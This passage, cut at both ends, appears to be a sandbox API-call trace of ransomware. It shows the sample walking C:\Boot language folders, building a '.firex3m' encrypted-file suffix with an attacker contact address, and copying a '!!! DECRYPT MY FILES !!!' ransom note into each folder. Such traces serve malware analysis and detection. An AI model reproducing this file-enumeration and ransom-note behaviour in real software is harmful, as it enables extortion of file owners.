nFileSizeLow=0x12f, dwReserved0=0xc48c6596, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d54c0 [0102.527] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0102.527] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\ko-KR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\ko-kr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.531] GetProcessHeap () returned 0x630000 [0102.531] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0102.532] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.532] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0102.532] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0102.532] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\lt-LT\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\lt-LT\\") returned 1 [0102.532] CharLowerBuffW (in: lpsz="C:\\Boot\\lt-LT\\", cchLength=0xe | out: lpsz="c:\\boot\\lt-lt\\") returned 0xe [0102.532] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.532] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.532] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5480 [0102.533] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.533] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.533] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\lt-LT\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 1 [0102.533] CharLowerBuffW (in: lpsz="C:\\Boot\\lt-LT\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\lt-lt\\bootmgr.exe.mui") returned 0x1d [0102.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.533] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.533] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.533] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.533] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0102.533] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0102.534] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\lv-LV\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\lv-LV\\") returned 1 [0102.534] CharLowerBuffW (in: lpsz="C:\\Boot\\lv-LV\\", cchLength=0xe | out: lpsz="c:\\boot\\lv-lv\\") returned 0xe [0102.534] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.534] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.534] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0102.535] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.535] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.535] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\lv-LV\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 1 [0102.535] CharLowerBuffW (in: lpsz="C:\\Boot\\lv-LV\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\lv-lv\\bootmgr.exe.mui") returned 0x1d [0102.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.535] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.535] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.536] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.536] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0102.536] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0102.536] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bootvhd.dll", psz="C:\\Boot\\memtest.exe", len=0x13 | out: pbstr=0x6ebf660*="C:\\Boot\\memtest.exe") returned 1 [0102.536] CharLowerBuffW (in: lpsz="C:\\Boot\\memtest.exe", cchLength=0x13 | out: lpsz="c:\\boot\\memtest.exe") returned 0x13 [0102.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.536] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.536] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.536] GetProcessHeap () returned 0x630000 [0102.536] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b1250 [0102.537] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0102.537] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\nb-NO\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\nb-NO\\") returned 1 [0102.537] CharLowerBuffW (in: lpsz="C:\\Boot\\nb-NO\\", cchLength=0xe | out: lpsz="c:\\boot\\nb-no\\") returned 0xe [0102.537] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.537] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.537] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0102.540] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.540] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.540] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\nb-NO\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 1 [0102.540] CharLowerBuffW (in: lpsz="C:\\Boot\\nb-NO\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\nb-no\\bootmgr.exe.mui") returned 0x1d [0102.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.540] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.540] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.541] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.541] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\nb-no\\bootmgr.exe.mui", psz="C:\\Boot\\nb-NO\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 1 [0102.541] CharLowerBuffW (in: lpsz="C:\\Boot\\nb-NO\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\nb-no\\memtest.exe.mui") returned 0x1d [0102.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.541] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.541] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.541] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4912aed, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0102.541] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0102.542] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\nb-NO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\nb-no\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.545] GetProcessHeap () returned 0x630000 [0102.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0102.546] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.546] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0102.546] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0102.546] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\nl-NL\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\nl-NL\\") returned 1 [0102.546] CharLowerBuffW (in: lpsz="C:\\Boot\\nl-NL\\", cchLength=0xe | out: lpsz="c:\\boot\\nl-nl\\") returned 0xe [0102.546] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.546] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.546] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0102.547] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.547] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.547] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\nl-NL\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 1 [0102.547] CharLowerBuffW (in: lpsz="C:\\Boot\\nl-NL\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\nl-nl\\bootmgr.exe.mui") returned 0x1d [0102.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.547] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.547] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.547] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.547] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\nl-nl\\bootmgr.exe.mui", psz="C:\\Boot\\nl-NL\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 1 [0102.547] CharLowerBuffW (in: lpsz="C:\\Boot\\nl-NL\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\nl-nl\\memtest.exe.mui") returned 0x1d [0102.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: 